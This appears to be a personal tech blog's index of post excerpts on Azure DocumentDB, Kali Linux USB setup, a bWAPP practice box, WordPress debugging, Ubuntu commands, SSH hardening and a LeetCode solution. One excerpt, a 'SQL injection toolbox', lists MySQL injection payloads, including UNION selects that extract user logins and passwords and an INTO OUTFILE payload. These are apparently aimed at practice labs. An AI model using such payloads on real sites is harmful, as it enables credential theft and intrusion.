4 things to know before using Azure DocumentDB/CosmosDB (NoSQL)

When I first started using DocumentDB, I thought it is just a Microsoft version of MongoDB. Six month later, I found out that first impression is somehow not essentially true. Here are four things I wish I knew before started. DocumentDB Collection design When it comes to NoSQL, a lot of people might think of … Continue reading 4 things to know before using Azure DocumentDB/CosmosDB (NoSQL)

Manage AppInsights telemetry with DocumentDB (NoSQL)

Using Azure Application Insights + Stream Analytics, you can easily create a data pipeline in minutes that keep track of all your application activities. However things gets a little tricky when you are querying data base on the "customDimensions" field. When you are using DocumentDB to store Azure telemetry data, you have data like below: … Continue reading Manage AppInsights telemetry with DocumentDB (NoSQL)

Building a flash drive Kali Linux

Official guidance: http://docs.kali.org/downloading/kali-linux-live-usb-install#linux To create a bootable usb flash drive: To find your flash drive's path: sudo fdisk -l The example command below assumes that the ISO image you’re writing is named “kali-linux-2016.2-amd64.iso” and is in your current working directory. The blocksize parameter can be increased, and while it may speed up the operation of the … Continue reading Building a flash drive Kali Linux

SQL injection toolbox

MYSQL: ('-- ' is to comment out anything behind, don't forget the space behind to sperate the tailing text) ' or 1=1 -- ' and 1=0 union (select database(),1,1,1,1,1,1) -- ' and 1=0 union (select table_name,1,1,1,1,1,1 from information_schema.tables) -- ' and 1=0 union (select 1,id,login,password,secret,1,1 from users) -- a' UNION SELECT 1, "",1,1,1,1,1 INTO OUTFILE … Continue reading SQL injection toolbox

Server Penetration Practice Box (Buggy app bWAPP)

I started a new instance for penetration practices (bWAPP http://www.itsecgames.com/): Practice Web App: http://ec2-54-219-178-119.us-west-1.compute.amazonaws.com This is a very buggy app created by Malik Mesellem @MME_IT. I am going to writing posts about some technique I use to penetrate this box. Have fun!

[Resolved] WordPress down after auto upgrade — WP-SpamShield 1.9.9.8.6 and before

If you recently auto upgrade your WordPress website, it is possible that you are not able to visit your. Chances are, you ran into an issue caused by a builtin module - WP-SpamShield: https://wordpress.org/support/topic/auto-updated-and-broke-many-sites/. Steps to debug this (Linux/Unix + httpd2): 1. Check your system log: /var/logs/apache2/error.log. You may found some logs like: [Wed Feb … Continue reading [Resolved] WordPress down after auto upgrade — WP-SpamShield 1.9.9.8.6 and before

Ubuntu system toolbox

//Create partitions: fdisk parted select <device_name> mkpartfs PART-TYPE FS-TYPE START END //Create file block, erase data, create swap: lsblk blkid //List all block storage/ids xinput --list --short //Check port usage: netstat -l //Check all installed packages: dpkg --get-selections //Check all path for a package: dpkg -L

Protect your server from ssh password brute forcing

The Story I have been seeing some hackers out there trying to hack into my AWS instance. Fortunately, AWS did a very good job on securing your EC2 instance. To access your instance you need to use the private key(.pem) associated with your instance. So the only thing you need is to make sure you … Continue reading Protect your server from ssh password brute forcing

LeetCode – Matrix Zigzag Traversal

Java Solution public int[] printZMatrix(int[][] matrix) { if (matrix == null || matrix.length == 0 || matrix[0] == null || matrix[0].length == 0) { return new int[0]; } int row = matrix.length; int col = matrix[0].length; int[] res = new int[row * col]; int lvl = 0; int next = 0; while (next = 0 … Continue reading LeetCode – Matrix Zigzag Traversal